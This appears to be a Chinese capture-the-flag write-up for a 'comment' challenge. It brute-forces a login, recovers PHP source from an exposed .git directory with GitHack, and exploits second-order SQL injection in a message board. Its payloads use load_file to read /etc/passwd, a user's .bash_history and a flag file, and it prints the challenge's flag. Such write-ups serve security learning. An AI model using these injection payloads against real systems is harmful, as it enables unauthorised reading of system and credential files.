CTF之comment

网站的登录框里有提示

账号:zhangwei

密码:zhangwei***(后三位要自己猜)

用burpsuit抓包爆破发现密码为zhangwei666

进去后就一个留言榜(目前没发现怎么用)

扫一下网站发现git泄露

1.下载

进入root用户,下载克隆git hack库

复制代码
git clone https://github.com/BugScanTeam/GitHack

下载完成后,进入GitHack,发现5个文件,说明ok了

2.使用

*****使用GitHack时,一定要在Git Hack目录下*****

复制代码
 python GitHack.py 链接/.git/

首先看kali中的python版本,GitHack必须使用python2

需要将python该为python2

复制代码
 python2 GitHack.py 链接/.git/

出现GitHack,就代表成功了,Githack目录下就会新增一个扫描的文件

然后就是用GitHack下载源码

复制代码
python2 GitHack.py  http://61.147.171.105:62125/.git/ 

下载的文件会在dist目录下

查看源码,发现好像代码不全

php 复制代码
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    break;
case 'comment':
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

使用命令补全

php 复制代码
git log --reflog
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

代码审计

php 复制代码
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

发现存在sql二次注入,在代码comment模块中 $category没有进行过滤就直接放入了sql语句中

category和content我们可以控制

其中注意这个sql语句是换行的,我们要用/**/ 进行拼接

php 复制代码
$sql = "insert into comment
            set category = '111',content=user(),/*',
                content = '*/#',
                bo_id = '$bo_id'";

在category 构造payload: 111',content=user(),/**

在详细里我们提交 */# 来闭合,这里得到了用户

同理构造查看密码

php 复制代码
111',content=(select(load_file('/etc/passwd'))),/*


*/#

构造读取他的history文件,查看历史记录操作

php 复制代码
111',content=(select (load_file('/home/www/.bash_history'))),/*


*/#

发现原本/tmp/html/目录下有个.DS_Store文件

构造查看这个文件

php 复制代码
111',content=(select (load_file('/tmp/html/.DS_Store'))),/*

*/#

发现长度不够

构造HEX编码

php 复制代码
111',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*


*/#

发现是16进制编码

十六进制到ASCII文本

解码发现flag_8946e1ff1ee3e40f.ph文件

构造查看

php 复制代码
111',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*


*/#

同样解码,发现flag

$flag="flag{0dd14aae81d94904b3492117e2a3d4df}";

相关推荐
llxxyy卢9 小时前
文件操作之文件下载读取全解
安全
JIngJaneIL10 小时前
基于springboot + vue古城景区管理系统(源码+数据库+文档)
java·开发语言·前端·数据库·vue.js·spring boot·后端
微学AI10 小时前
复杂时序场景的突围:金仓数据库是凭借什么超越InfluxDB?
数据库
llxxyy卢11 小时前
逻辑越权之水平垂直越权
web安全·web
虹科网络安全11 小时前
艾体宝洞察 | 利用“隐形字符”的钓鱼邮件:传统防御为何失效,AI安全意识培训如何补上最后一道防线
运维·网络·安全
廋到被风吹走11 小时前
【数据库】【Redis】定位、优势、场景与持久化机制解析
数据库·redis·缓存
有想法的py工程师12 小时前
PostgreSQL + Debezium CDC 踩坑总结
数据库·postgresql
Nandeska12 小时前
2、数据库的索引与底层数据结构
数据结构·数据库
小卒过河010412 小时前
使用apache nifi 从数据库文件表路径拉取远程文件至远程服务器目的地址
运维·服务器·数据库
过期动态12 小时前
JDBC高级篇:优化、封装与事务全流程指南
android·java·开发语言·数据库·python·mysql